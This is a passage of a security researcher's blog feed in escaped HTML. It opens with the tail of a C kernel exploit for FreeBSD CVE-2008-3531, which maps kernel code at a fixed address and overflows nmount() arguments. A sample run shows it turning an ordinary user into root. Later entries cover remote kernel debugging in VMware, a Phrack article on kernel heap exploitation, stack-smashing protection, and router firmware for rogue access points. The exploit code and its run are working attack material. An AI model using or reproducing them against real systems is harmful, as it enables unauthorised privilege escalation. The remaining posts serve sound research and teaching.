class=\"n\">ADDR<\/span><span class=\"p\">,<\/span> <span class=\"n\">PAGESIZE<\/span><span class=\"p\">,<\/span> <span class=\"n\">PROT_READ<\/span> <span class=\"o\">|<\/span> <span class=\"n\">PROT_WRITE<\/span><span class=\"p\">,<\/span>\n            <span class=\"n\">MAP_FIXED<\/span> <span class=\"o\">|<\/span> <span class=\"n\">MAP_ANON<\/span> <span class=\"o\">|<\/span> <span class=\"n\">MAP_PRIVATE<\/span><span class=\"p\">,<\/span> <span class=\"o\">-<\/span><span class=\"mi\">1<\/span><span class=\"p\">,<\/span> <span class=\"mi\">0<\/span><span class=\"p\">);<\/span>\n\n    <span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"n\">vptr<\/span> <span class=\"o\">==<\/span> <span class=\"n\">MAP_FAILED<\/span><span class=\"p\">)<\/span>\n    <span class=\"p\">{<\/span>\n        <span class=\"n\">perror<\/span><span class=\"p\">(<\/span><span class=\"s\">\"mmap\"<\/span><span class=\"p\">);<\/span>\n        <span class=\"n\">exit<\/span><span class=\"p\">(<\/span><span class=\"n\">EXIT_FAILURE<\/span><span class=\"p\">);<\/span>\n    <span class=\"p\">}<\/span>\n\n    <span class=\"n\">vptr<\/span> <span class=\"o\">+=<\/span> <span class=\"n\">OFFSET<\/span><span class=\"p\">;<\/span>\n    <span class=\"n\">printf<\/span><span class=\"p\">(<\/span><span class=\"s\">\"[*] vptr = 0x%.8x<\/span><span class=\"se\">\\n<\/span><span class=\"s\">\"<\/span><span class=\"p\">,<\/span> <span class=\"p\">(<\/span><span class=\"kt\">unsigned<\/span> <span class=\"kt\">int<\/span><span class=\"p\">)<\/span><span class=\"n\">vptr<\/span><span class=\"p\">);<\/span>\n\n    <span class=\"n\">memcpy<\/span><span class=\"p\">(<\/span><span class=\"n\">vptr<\/span><span class=\"p\">,<\/span> <span class=\"n\">kernelcode<\/span><span class=\"p\">,<\/span> <span class=\"p\">(<\/span><span class=\"k\">sizeof<\/span><span class=\"p\">(<\/span><span class=\"n\">kernelcode<\/span><span class=\"p\">)<\/span> <span class=\"err\">\u2014<\/span> <span class=\"mi\">1<\/span><span class=\"p\">));<\/span>\n\n    <span class=\"n\">mkdir<\/span><span class=\"p\">(<\/span><span class=\"n\">DIRPATH<\/span><span class=\"p\">,<\/span> <span class=\"mo\">0700<\/span><span class=\"p\">);<\/span>\n\n    <span class=\"n\">iov<\/span><span class=\"p\">[<\/span><span class=\"mi\">0<\/span><span class=\"p\">].<\/span><span class=\"n\">iov_base<\/span> <span class=\"o\">=<\/span> <span class=\"s\">\"fstype\"<\/span><span class=\"p\">;<\/span>\n    <span class=\"n\">iov<\/span><span class=\"p\">[<\/span><span class=\"mi\">0<\/span><span class=\"p\">].<\/span><span class=\"n\">iov_len<\/span> <span class=\"o\">=<\/span> <span class=\"n\">strlen<\/span><span class=\"p\">(<\/span><span class=\"n\">iov<\/span><span class=\"p\">[<\/span><span class=\"mi\">0<\/span><span class=\"p\">].<\/span><span class=\"n\">iov_base<\/span><span class=\"p\">)<\/span> <span class=\"o\">+<\/span> <span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n    \n    <span class=\"n\">iov<\/span><span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">].<\/span><span class=\"n\">iov_base<\/span> <span class=\"o\">=<\/span> <span class=\"n\">FSNAME<\/span><span class=\"p\">;<\/span>\n    <span class=\"n\">iov<\/span><span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">].<\/span><span class=\"n\">iov_len<\/span> <span class=\"o\">=<\/span> <span class=\"n\">strlen<\/span><span class=\"p\">(<\/span><span class=\"n\">iov<\/span><span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">].<\/span><span class=\"n\">iov_base<\/span><span class=\"p\">)<\/span> <span class=\"o\">+<\/span> <span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n    \n    <span class=\"n\">iov<\/span><span class=\"p\">[<\/span><span class=\"mi\">2<\/span><span class=\"p\">].<\/span><span class=\"n\">iov_base<\/span> <span class=\"o\">=<\/span> <span class=\"s\">\"fspath\"<\/span><span class=\"p\">;<\/span>\n    <span class=\"n\">iov<\/span><span class=\"p\">[<\/span><span class=\"mi\">2<\/span><span class=\"p\">].<\/span><span class=\"n\">iov_len<\/span> <span class=\"o\">=<\/span> <span class=\"n\">strlen<\/span><span class=\"p\">(<\/span><span class=\"n\">iov<\/span><span class=\"p\">[<\/span><span class=\"mi\">2<\/span><span class=\"p\">].<\/span><span class=\"n\">iov_base<\/span><span class=\"p\">)<\/span> <span class=\"o\">+<\/span> <span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n    \n    <span class=\"n\">iov<\/span><span class=\"p\">[<\/span><span class=\"mi\">3<\/span><span class=\"p\">].<\/span><span class=\"n\">iov_base<\/span> <span class=\"o\">=<\/span> <span class=\"n\">DIRPATH<\/span><span class=\"p\">;<\/span>\n    <span class=\"n\">iov<\/span><span class=\"p\">[<\/span><span class=\"mi\">3<\/span><span class=\"p\">].<\/span><span class=\"n\">iov_len<\/span> <span class=\"o\">=<\/span> <span class=\"n\">strlen<\/span><span class=\"p\">(<\/span><span class=\"n\">iov<\/span><span class=\"p\">[<\/span><span class=\"mi\">3<\/span><span class=\"p\">].<\/span><span class=\"n\">iov_base<\/span><span class=\"p\">)<\/span> <span class=\"o\">+<\/span> <span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n\n    <span class=\"n\">iov<\/span><span class=\"p\">[<\/span><span class=\"mi\">4<\/span><span class=\"p\">].<\/span><span class=\"n\">iov_base<\/span> <span class=\"o\">=<\/span> <span class=\"n\">calloc<\/span><span class=\"p\">(<\/span><span class=\"n\">BUFSIZE<\/span><span class=\"p\">,<\/span> <span class=\"k\">sizeof<\/span><span class=\"p\">(<\/span><span class=\"kt\">char<\/span><span class=\"p\">));<\/span>\n\n    <span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"n\">iov<\/span><span class=\"p\">[<\/span><span class=\"mi\">4<\/span><span class=\"p\">].<\/span><span class=\"n\">iov_base<\/span> <span class=\"o\">==<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">)<\/span>\n    <span class=\"p\">{<\/span>\n        <span class=\"n\">perror<\/span><span class=\"p\">(<\/span><span class=\"s\">\"calloc\"<\/span><span class=\"p\">);<\/span>\n        <span class=\"n\">rmdir<\/span><span class=\"p\">(<\/span><span class=\"n\">DIRPATH<\/span><span class=\"p\">);<\/span>\n        <span class=\"n\">exit<\/span><span class=\"p\">(<\/span><span class=\"n\">EXIT_FAILURE<\/span><span class=\"p\">);<\/span>\n    <span class=\"p\">}<\/span>\n\n    <span class=\"n\">memset<\/span><span class=\"p\">(<\/span><span class=\"n\">iov<\/span><span class=\"p\">[<\/span><span class=\"mi\">4<\/span><span class=\"p\">].<\/span><span class=\"n\">iov_base<\/span><span class=\"p\">,<\/span> <span class=\"mh\">0x41<\/span><span class=\"p\">,<\/span> <span class=\"p\">(<\/span><span class=\"n\">BUFSIZE<\/span> <span class=\"err\">\u2014<\/span> <span class=\"mi\">1<\/span><span class=\"p\">));<\/span>\n    <span class=\"n\">iov<\/span><span class=\"p\">[<\/span><span class=\"mi\">4<\/span><span class=\"p\">].<\/span><span class=\"n\">iov_len<\/span> <span class=\"o\">=<\/span> <span class=\"n\">BUFSIZE<\/span><span class=\"p\">;<\/span>\n\n    <span class=\"n\">iov<\/span><span class=\"p\">[<\/span><span class=\"mi\">5<\/span><span class=\"p\">].<\/span><span class=\"n\">iov_base<\/span> <span class=\"o\">=<\/span> <span class=\"s\">\"BBBB\"<\/span><span class=\"p\">;<\/span>\n    <span class=\"n\">iov<\/span><span class=\"p\">[<\/span><span class=\"mi\">5<\/span><span class=\"p\">].<\/span><span class=\"n\">iov_len<\/span> <span class=\"o\">=<\/span> <span class=\"n\">strlen<\/span><span class=\"p\">(<\/span><span class=\"n\">iov<\/span><span class=\"p\">[<\/span><span class=\"mi\">5<\/span><span class=\"p\">].<\/span><span class=\"n\">iov_base<\/span><span class=\"p\">)<\/span> <span class=\"o\">+<\/span> <span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n\n    <span class=\"n\">printf<\/span><span class=\"p\">(<\/span><span class=\"s\">\"[*] calling nmount()<\/span><span class=\"se\">\\n<\/span><span class=\"s\">\"<\/span><span class=\"p\">);<\/span>\n\n    <span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"n\">nmount<\/span><span class=\"p\">(<\/span><span class=\"n\">iov<\/span><span class=\"p\">,<\/span> <span class=\"mi\">6<\/span><span class=\"p\">,<\/span> <span class=\"mi\">0<\/span><span class=\"p\">)<\/span> <span class=\"o\">&lt;<\/span> <span class=\"mi\">0<\/span><span class=\"p\">)<\/span>\n    <span class=\"p\">{<\/span>\n        <span class=\"n\">perror<\/span><span class=\"p\">(<\/span><span class=\"s\">\"nmount\"<\/span><span class=\"p\">);<\/span>\n        <span class=\"n\">rmdir<\/span><span class=\"p\">(<\/span><span class=\"n\">DIRPATH<\/span><span class=\"p\">);<\/span>\n        <span class=\"n\">exit<\/span><span class=\"p\">(<\/span><span class=\"n\">EXIT_FAILURE<\/span><span class=\"p\">);<\/span>\n    <span class=\"p\">}<\/span>\n\n    <span class=\"n\">printf<\/span><span class=\"p\">(<\/span><span class=\"s\">\"[*] unmounting and deleting %s<\/span><span class=\"se\">\\n<\/span><span class=\"s\">\"<\/span><span class=\"p\">,<\/span> <span class=\"n\">DIRPATH<\/span><span class=\"p\">);<\/span>\n    <span class=\"n\">unmount<\/span><span class=\"p\">(<\/span><span class=\"n\">DIRPATH<\/span><span class=\"p\">,<\/span> <span class=\"mi\">0<\/span><span class=\"p\">);<\/span>\n    <span class=\"n\">rmdir<\/span><span class=\"p\">(<\/span><span class=\"n\">DIRPATH<\/span><span class=\"p\">);<\/span>\n\n    <span class=\"k\">return<\/span> <span class=\"n\">EXIT_SUCCESS<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span><\/code><\/pre><\/figure>\n\n<p>Finally, a sample run of the exploit:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-bash\" data-lang=\"bash\"><span class=\"o\">[<\/span>argp@leon ~]<span class=\"nv\">$ <\/span><span class=\"nb\">uname<\/span> <span class=\"nt\">-rsi<\/span>\nFreeBSD 7.0-RELEASE GENERIC\n<span class=\"o\">[<\/span>argp@leon ~]<span class=\"nv\">$ <\/span>sysctl vfs.usermount\nvfs.usermount: 1\n<span class=\"o\">[<\/span>argp@leon ~]<span class=\"nv\">$ <\/span><span class=\"nb\">id\n<\/span><span class=\"nv\">uid<\/span><span class=\"o\">=<\/span>1001<span class=\"o\">(<\/span>argp<span class=\"o\">)<\/span> <span class=\"nv\">gid<\/span><span class=\"o\">=<\/span>1001<span class=\"o\">(<\/span>argp<span class=\"o\">)<\/span> <span class=\"nb\">groups<\/span><span class=\"o\">=<\/span>1001<span class=\"o\">(<\/span>argp<span class=\"o\">)<\/span>\n<span class=\"o\">[<\/span>argp@leon ~]<span class=\"nv\">$ <\/span>gcc <span class=\"nt\">-Wall<\/span> cve-2008-3531.c <span class=\"nt\">-o<\/span> cve-2008-3531\n<span class=\"o\">[<\/span>argp@leon ~]<span class=\"nv\">$ <\/span>.\/cve-2008-3531\n<span class=\"o\">[<\/span><span class=\"k\">*<\/span><span class=\"o\">]<\/span> vptr <span class=\"o\">=<\/span> 0x006e776f\n<span class=\"o\">[<\/span><span class=\"k\">*<\/span><span class=\"o\">]<\/span> calling nmount<span class=\"o\">()<\/span>\nnmount: Unknown error: <span class=\"nt\">-1036235776<\/span>\n<span class=\"o\">[<\/span>argp@leon ~]<span class=\"nv\">$ <\/span><span class=\"nb\">id\n<\/span><span class=\"nv\">uid<\/span><span class=\"o\">=<\/span>0<span class=\"o\">(<\/span>root<span class=\"o\">)<\/span> <span class=\"nv\">gid<\/span><span class=\"o\">=<\/span>0<span class=\"o\">(<\/span>wheel<span class=\"o\">)<\/span> <span class=\"nv\">egid<\/span><span class=\"o\">=<\/span>1001<span class=\"o\">(<\/span>argp<span class=\"o\">)<\/span> <span class=\"nb\">groups<\/span><span class=\"o\">=<\/span>1001<span class=\"o\">(<\/span>argp<span class=\"o\">)<\/span><\/code><\/pre><\/figure>\n\n<p>And this concludes my post. I hope you enjoyed reading this as much as I \nenjoyed writing it.<\/p>\n"},{"title":"FreeBSD kernel debugging","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2009\/07\/02\/freebsd-kernel-debugging\/"}},"updated":"2009-07-02T00:00:00+00:00","id":"https:\/\/argp.github.io\/2009\/07\/02\/freebsd-kernel-debugging","content":"<p>The FreeBSD kernel can be debugged with the\n<a href=\"http:\/\/www.freebsd.org\/cgi\/man.cgi?query=ddb&amp;sektion=4&amp;apropos=0&amp;manpath=FreeBSD+7.1-RELEASE\">ddb(4)<\/a>\ninteractive kernel debugger. Although the latest production release of FreeBSD\n(<a href=\"http:\/\/www.freebsd.org\/releases\/7.1R\/announce.html\">7.1<\/a> at the time of this\nwriting) adds some <a href=\"http:\/\/www.freebsd.org\/cgi\/man.cgi?query=ddb&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+7.1-RELEASE\">very useful\nfeatures<\/a>,\nddb is still lacking the flexibility of <a href=\"http:\/\/www.gnu.org\/software\/gdb\/\">gdb<\/a>.<\/p>\n\n<p>The FreeBSD developer\u2019s handbook has a section on <a href=\"http:\/\/www.freebsd.org\/doc\/en_US.ISO8859-1\/books\/developers-handbook\/kerne%20ldebug-online-gdb.html\">kernel debugging using remote\ngdb<\/a>, \nbut it is not directly applicable to VMware-based installations. The solution \nis to use VMware\u2019s feature of creating virtual serial ports as named \npipes to emulate a serial connection between two FreeBSD virtual machines.<\/p>\n\n<p>The first FreeBSD virtual machine, let\u2019s call it the target host to \nfollow the handbook\u2019s terminology, is the machine that the experimental \nkernel code runs on. The second, the debugging host, is the one that will run \ngdb and connect over the virtual serial connection to the target host. The \ntarget host\u2019s kernel needs to be compiled with the following options:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-bash\" data-lang=\"bash\">makeoptions <span class=\"nv\">DEBUG<\/span><span class=\"o\">=<\/span><span class=\"nt\">-g<\/span>\noptions GDB\noptions DDB\noptions KDB<\/code><\/pre><\/figure>\n\n<p>Furthermore, the serial port needs to be defined in the device flags in the \n<code class=\"language-plaintext highlighter-rouge\">\/boot\/device.hints<\/code> file of the target host by setting the <code class=\"language-plaintext highlighter-rouge\">0x80<\/code> bit, and the \n<code class=\"language-plaintext highlighter-rouge\">0x10<\/code> bit for specifying that the kernel gdb backend is to be accessed via \nremote debugging over this port:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-bash\" data-lang=\"bash\">hint.sio.0.flags<span class=\"o\">=<\/span><span class=\"s2\">\"0x90\"<\/span><\/code><\/pre><\/figure>\n\n<p>Also, edit the target host\u2019s <code class=\"language-plaintext highlighter-rouge\">\/etc\/sysctl.conf<\/code> file to include the \nfollowing self-explanatory kernel parameters:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-bash\" data-lang=\"bash\">debug.kdb.current<span class=\"o\">=<\/span>ddb\ndebug.debugger_on_panic<span class=\"o\">=<\/span>1<\/code><\/pre><\/figure>\n\n<p>After the compilation and installation of the new kernel on the target host, \nthe <code class=\"language-plaintext highlighter-rouge\">\/usr\/obj\/usr\/src\/sys\/TARGET_HOST<\/code> directory (assuming you have named the \nnew kernel <code class=\"language-plaintext highlighter-rouge\">TARGET_HOST<\/code>) needs to be copied to the debugging host (for example \nwith <code class=\"language-plaintext highlighter-rouge\">scp -r<\/code>).<\/p>\n\n<p>For the following steps both virtual machines need to be turned off. In VMware \ngo to the tab of the target host, click <em>Edit virtual machine \nsettings<\/em>-&gt;<em>Add<\/em>-&gt;<em>Serial Port<\/em>-&gt;<em>Output to named pipe<\/em>. Enter <code class=\"language-plaintext highlighter-rouge\">\/tmp\/com_1<\/code> (or \nwhatever you want) as the named pipe, select <em>This end is the server<\/em> and <em>The \nother end is a virtual machine<\/em>. Then perform the same steps on the debugging \nhost\u2019s virtual machine, enter the same named pipe, but select <em>This end \nis the client<\/em> in this case. The <code class=\"language-plaintext highlighter-rouge\">\/tmp\/com_1<\/code> named pipe on the machine that \nruns VMware (Linux in our case) will be used as a virtual serial connection \nbetween the two FreeBSD guests.<\/p>\n\n<p>Now power on the target host normally, cause a kernel panic or start the kernel \ndebugger manually, and type <code class=\"language-plaintext highlighter-rouge\">gdb<\/code> and then <code class=\"language-plaintext highlighter-rouge\">s<\/code>:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-bash\" data-lang=\"bash\"><span class=\"o\">[<\/span>root@target_host]# sysctl debug.kdb.enter<span class=\"o\">=<\/span>1\nKDB: enter: sysctl debug.kdb.enter\n<span class=\"o\">[<\/span>thread pid 578 tid 100063 <span class=\"o\">]<\/span>\nStopped at kdb_enter+0x2b: nop\ndb&gt; gdb\nStep to enter the remote GDB backend.\ndb&gt; s<\/code><\/pre><\/figure>\n\n<p>On the debugging host you need to find the device that corresponds to the \nvirtual serial port you defined in VMware. On our setup it is <code class=\"language-plaintext highlighter-rouge\">\/dev\/cuad0<\/code>. \nThen start a <code class=\"language-plaintext highlighter-rouge\">kgdb<\/code> remote debugging session in the \n<code class=\"language-plaintext highlighter-rouge\">\/usr\/obj\/usr\/src\/sys\/TARGET_HOST<\/code> directory, passing as arguments the serial \nport device and the kernel to be debugged:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-bash\" data-lang=\"bash\"><span class=\"o\">[<\/span>root@debugging_host ~]# <span class=\"nb\">cd<\/span> \/usr\/obj\/usr\/src\/sys\/TARGET_HOST\n<span class=\"o\">[<\/span>root@debugging_host \/usr\/obj\/usr\/src\/sys\/TARGET_HOST]# kgdb <span class=\"nt\">-r<\/span> \/dev\/cuad0 .\/kernel.debug\nGNU gdb 6.1.1 <span class=\"o\">[<\/span>FreeBSD]\nCopyright 2004 Free Software Foundation, Inc.\nGDB is free software, covered by the GNU General Public License, and you are\nwelcome to change it and\/or distribute copies of it under certain conditions.\nType <span class=\"s2\">\"show copying\"<\/span> to see the conditions.\nThere is absolutely no warranty <span class=\"k\">for <\/span>GDB.  Type <span class=\"s2\">\"show warranty\"<\/span> <span class=\"k\">for <\/span>details.\nThis GDB was configured as <span class=\"s2\">\"i386-marcel-freebsd\"<\/span><span class=\"nb\">.<\/span>\nSwitching to remote protocol\nkdb_enter <span class=\"o\">(<\/span><span class=\"nv\">msg<\/span><span class=\"o\">=<\/span>0x23 &lt;Address 0x23 out of bounds&gt;<span class=\"o\">)<\/span> at \/usr\/src\/sys\/kern\/subr_kdb.c:270\n \nUnread portion of the kernel message buffer:\nKDB: enter: sysctl debug.kdb.enter\n \n<span class=\"c\">#0  kdb_enter (msg=0x23 &lt;Address 0x23 out of bounds&gt;) at \/usr\/src\/sys\/kern\/subr_kdb.c:270<\/span>\n<span class=\"o\">(<\/span>kgdb<span class=\"o\">)<\/span> bt\n<span class=\"c\">#0  kdb_enter (msg=0x23 &lt;Address 0x23 out of bounds&gt;) at \/usr\/src\/sys\/kern\/subr_kdb.c:270<\/span>\n<span class=\"c\">#1  0xc0657710 in kdb_sysctl_enter (oidp=0xc08d3fa0, arg1=0x0, arg2=0, req=0xcca54c04) at<\/span>\n \/usr\/src\/sys\/kern\/subr_kdb.c:175\n<span class=\"c\">#2  0xc0646f2b in sysctl_root (oidp=0x0, arg1=0x0, arg2=0, req=0xcca54c04) at<\/span>\n \/usr\/src\/sys\/kern\/kern_sysctl.c:1248\n<span class=\"c\">#3  0xc0647128 in userland_sysctl (td=0x23, name=0xcca54c74, namelen=3,<\/span>\n <span class=\"nv\">old<\/span><span class=\"o\">=<\/span>0xcca54c04, <span class=\"nv\">oldlenp<\/span><span class=\"o\">=<\/span>0x0, <span class=\"nv\">inkernel<\/span><span class=\"o\">=<\/span>, <span class=\"nv\">new<\/span><span class=\"o\">=<\/span>0xbfbfe428, <span class=\"nv\">newlen<\/span><span class=\"o\">=<\/span>35,\n <span class=\"nv\">retval<\/span><span class=\"o\">=<\/span>0xcca54c70, <span class=\"nv\">flags<\/span><span class=\"o\">=<\/span>35<span class=\"o\">)<\/span> at \/usr\/src\/sys\/kern\/kern_sysctl.c:1347\n<span class=\"c\">#4  0xc0646fcb in __sysctl (td=0xc164d180, uap=0xcca54d04) at<\/span>\n \/usr\/src\/sys\/kern\/kern_sysctl.c:1282\n<span class=\"c\">#5  0xc0811dcf in syscall (frame=<\/span>\n <span class=\"o\">{<\/span>tf_fs <span class=\"o\">=<\/span> 59, tf_es <span class=\"o\">=<\/span> 59, tf_ds <span class=\"o\">=<\/span> 59, tf_edi <span class=\"o\">=<\/span> 3, tf_esi <span class=\"o\">=<\/span> ,\n tf_ebp <span class=\"o\">=<\/span> <span class=\"nt\">-1077943368<\/span>, tf_isp <span class=\"o\">=<\/span> <span class=\"nt\">-861581980<\/span>, tf_ebx <span class=\"o\">=<\/span> 672367844,\n tf_edx <span class=\"o\">=<\/span> , tf_ecx <span class=\"o\">=<\/span> <span class=\"nt\">-1077941184<\/span>, tf_eax <span class=\"o\">=<\/span> 202, tf_trapno <span class=\"o\">=<\/span> 12,\n tf_err <span class=\"o\">=<\/span> 2, tf_eip <span class=\"o\">=<\/span> 671840819, tf_cs <span class=\"o\">=<\/span> 51, tf_eflags <span class=\"o\">=<\/span> 658,\n tf_esp <span class=\"o\">=<\/span> <span class=\"nt\">-1077943428<\/span>, tf_ss <span class=\"o\">=<\/span> 59<span class=\"o\">})<\/span> at\n \/usr\/src\/sys\/i386\/i386\/trap.c:976\n<span class=\"c\">#6  0xc08007bf in Xint0x80_syscall () at<\/span>\n \/usr\/src\/sys\/i386\/i386\/exception.s:200\n<span class=\"c\">#7  0x00000033 in ?? ()<\/span>\nPrevious frame inner to this frame <span class=\"o\">(<\/span>corrupt stack?<span class=\"o\">)<\/span>\n<span class=\"o\">(<\/span>kgdb<span class=\"o\">)<\/span><\/code><\/pre><\/figure>\n\n<p>That\u2019s it. Now let\u2019s do some kernel debugging.<\/p>\n"},{"title":"Exploiting the FreeBSD kernel memory allocator","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2009\/06\/12\/exploiting-freebsd-kernel-heap\/"}},"updated":"2009-06-12T00:00:00+00:00","id":"https:\/\/argp.github.io\/2009\/06\/12\/exploiting-freebsd-kernel-heap","content":"<p>The <a href=\"http:\/\/www.phrack.org\/issues\/66\/1.html\">new Phrack issue<\/a> is out\nat last!<\/p>\n\n<p>My contribution to Phrack issue #66 is an <a href=\"http:\/\/www.phrack.org\/issues\/66\/8.html#article\">article on exploiting FreeBSD\u2019s\nkernel memory allocator<\/a>, or\nUMA - the universal memory allocator. The initial inspiration to work on\nthis subject came to me from signedness.org challenge #3 by karl, therefore\nI felt it was the right thing to do to add karl as a co-author.<\/p>\n\n<p>Issue #66 contains in total three articles by Greek authors, <a href=\"http:\/\/www.phrack.org\/issues\/66\/6.html#article\">Exploiting \nDLmalloc frees in 2009<\/a>\nby huku and <a href=\"http:\/\/www.phrack.org\/issues\/66\/9.html#article\">Exploiting TCP Persist Timer \nInfiniteness<\/a> by ithilgore\nin addition to mine. And that\u2019s just amazing!<\/p>\n"},{"title":"Kernel stack-smashing protection in FreeBSD-8.0-current-200811","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2008\/11\/19\/freebsd-kernel-ssp\/"}},"updated":"2008-11-19T00:00:00+00:00","id":"https:\/\/argp.github.io\/2008\/11\/19\/freebsd-kernel-ssp","content":"<p>Stack-smashing detection and protection for the kernel has been enabled by\ndefault in the latest snapshot of FreeBSD 8.0-CURRENT\n(<a href=\"ftp:\/\/ftp.freebsd.org\/pub\/FreeBSD\/snapshots\/200811\/\">200811<\/a>). This was\naccomplished by utilizing the incorporation of\n<a href=\"http:\/\/www.trl.ibm.com\/projects\/security\/ssp\/\">SSP<\/a> (also known as ProPolice)\nin GCC version 4.1 and later (the 200811 snapshot uses GCC 4.2.1).<\/p>\n\n<p>Specifically, <code class=\"language-plaintext highlighter-rouge\">src\/sys\/kern\/stack_protector.c<\/code>, which is compiled with GCC\u2019s\n<code class=\"language-plaintext highlighter-rouge\">-fstack-protector<\/code> option, registers an event handler that generates a random\ncanary value (the \u201cguard\u201d variable in SSP terminology) placed between the local\nvariables and the saved frame pointer of a kernel process\u2019s stack during a\nfunction\u2019s prologue. When the function exits, the canary is checked against its\noriginal value. If it has been altered the kernel calls\n<a href=\"http:\/\/www.freebsd.org\/cgi\/man.cgi?query=panic&#038;apropos=0&#038;sektion=9&#038;manpath=FreeBSD+8-current&#038;format=html\">panic(9)<\/a>\nbringing down the whole system, but also stopping any execution flow redirection\ncaused by manipulation of the function\u2019s saved frame pointer or saved return address.<\/p>\n\n<p>In contrast to StackGuard and StackShield (or even Microsoft\u2019s \/GS), SSP has been\neffective against attacks aiming to directly bypass it. This relates to\n<a href=\"http:\/\/rainbow.cs.unipi.gr\/projects\/oss\/wiki\/EventSixteen\">research<\/a> I have done\nin the near past on the subject of kernel stack-smashing attacks. However, SSP can\nbe indirectly bypassed by several methods, for example stack overflows on buffers\nsmaller than 8 bytes.<\/p>\n"},{"title":"Privilege vs. permission","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2008\/11\/13\/privilege-vs-permission\/"}},"updated":"2008-11-13T00:00:00+00:00","id":"https:\/\/argp.github.io\/2008\/11\/13\/privilege-vs-permission","content":"<p>The majority of published papers and articles on the area of information security\nuse the terms <em>privilege<\/em> and <em>permission<\/em> interchangeably. Even <a href=\"http:\/\/en.wikipedia.org\/wiki\/Privilege_(computer_science)\">Wikipedia\u2019s entry\non privilege<\/a> seems to\nfollow this practice. However, one of the foundations of dynamic trust management\nis the clear distinction between an entity\u2019s privileges and its permissions.<\/p>\n\n<p>A privilege is an authority given to an entity that approves a specific operation\non a specific resource. For example, an entry in an Access Control List (ACL)\nspecifies a privilege, not a permission. A permission, on the other hand, is a value\nreached when an entity\u2019s privileges, as well as other of its attributes, are evaluated.\nTherefore, the fact that an entity has been granted a privilege does not necessarily\nmean that it is able at a given time to perform the specified operation on the\nspecified resource.<\/p>\n\n<p>The dynamic trust management system\n<a href=\"http:\/\/www.mee.tcd.ie\/~ledoyle\/EMERGINGNETWORKS\/pages\/aether.htm\">\u00c6THER<\/a> I\nhave designed and implemented as part of my PhD provides an example of using this\ndistinction between privilege and permission in practice.<\/p>\n"},{"title":"Linksys WRT54GL resurrection","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2008\/10\/20\/linksys-wrt54gl-resurrection\/"}},"updated":"2008-10-20T00:00:00+00:00","id":"https:\/\/argp.github.io\/2008\/10\/20\/linksys-wrt54gl-resurrection","content":"<p>Last week I was experimenting with various changes to\n<a href=\"\/\/openwrt.org\/\">OpenWrt<\/a> Kamikaze version 7.09 on my\n<a href=\"http:\/\/en.wikipedia.org\/wiki\/Linksys_WRT54G_series#WRT54GL\">Linksys WRT54GL<\/a>\nwireless router. The objective was to modify the Kamikaze firmware for WRT54GL\nin order to implement a rogue access point for use in various penetration\ntesting contracts. I decided to start the whole endeavor since the\n<a href=\"http:\/\/airsnarf.shmoo.com\/rogue_squadron\/\">Airsnarf Rogue Squadron<\/a>\nfirmware only supports the WRT54G model. After a lot of successful firmware\nflashings during testing, I eventually (and perhaps unavoidably) flashed my\nrouter with a corrupted firmware. The result was a dead WRT54GL that was not\nreplying to pings, not even after a hard reset.<\/p>\n\n<p>To resurrect it I followed <a href=\"http:\/\/voidmain.is-a-geek.net\/redhat\/wrt54g_revival.html\">void main\u2019s WRT54G revival\nguide<\/a>. Although the\nguide was written for the WRT54G model, it is mostly applicable to WRT54GL as\nwell. One of the main differences is that I had to short pins 16 and 17, not\n15 and 16 (see the photograph):<\/p>\n\n<p align=\"center\">\n<img src=\"http:\/\/farm4.static.flickr.com\/3068\/3007982600_a0d5c8a1a1_o.jpg\" \/>\n<\/p>\n\n<p>A rather important tip is that right after a successful flashing you should \nalways enable the <code class=\"language-plaintext highlighter-rouge\">boot_wait<\/code> NVRAM option in order to be able to use the TFTP \nbootloader. This will save you a lot of time if you are in the \n\u201cedit-compile-upload firmware-debug\u201d loop.<\/p>\n"},{"title":"\u0395\u03bb\u03bb\u03b7\u03bd\u03b9\u03ba\u03cc\u03c2 \u03b9\u03c3\u03c4\u03cc\u03c2 \u03b5\u03bc\u03c0\u03b9\u03c3\u03c4\u03bf\u03c3\u03cd\u03bd\u03b7\u03c2 (\u03b5\u03bd\u03b7\u03bc\u03ad\u03c1\u03c9\u03c3\u03b7)","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2008\/09\/11\/greek-wot-2\/"}},"updated":"2008-09-11T00:00:00+00:00","id":"https:\/\/argp.github.io\/2008\/09\/11\/greek-wot-2","content":"<p align=\"center\">\n<a href=\"\/public\/pgp-110908.jpg\"><img src=\"\/public\/pgp-110908-small.jpg\" \/><\/a>\n<\/p>\n"},{"title":"\u0394\u03b9\u03b1\u03b3\u03c1\u03b1\u03bc\u03bc\u03b1\u03c4\u03b9\u03ba\u03ae \u03c0\u03b1\u03c1\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03c4\u03bf\u03c5 \u03b5\u03bb\u03bb\u03b7\u03bd\u03b9\u03ba\u03bf\u03cd \u03b9\u03c3\u03c4\u03bf\u03cd \u03b5\u03bc\u03c0\u03b9\u03c3\u03c4\u03bf\u03c3\u03cd\u03bd\u03b7\u03c2 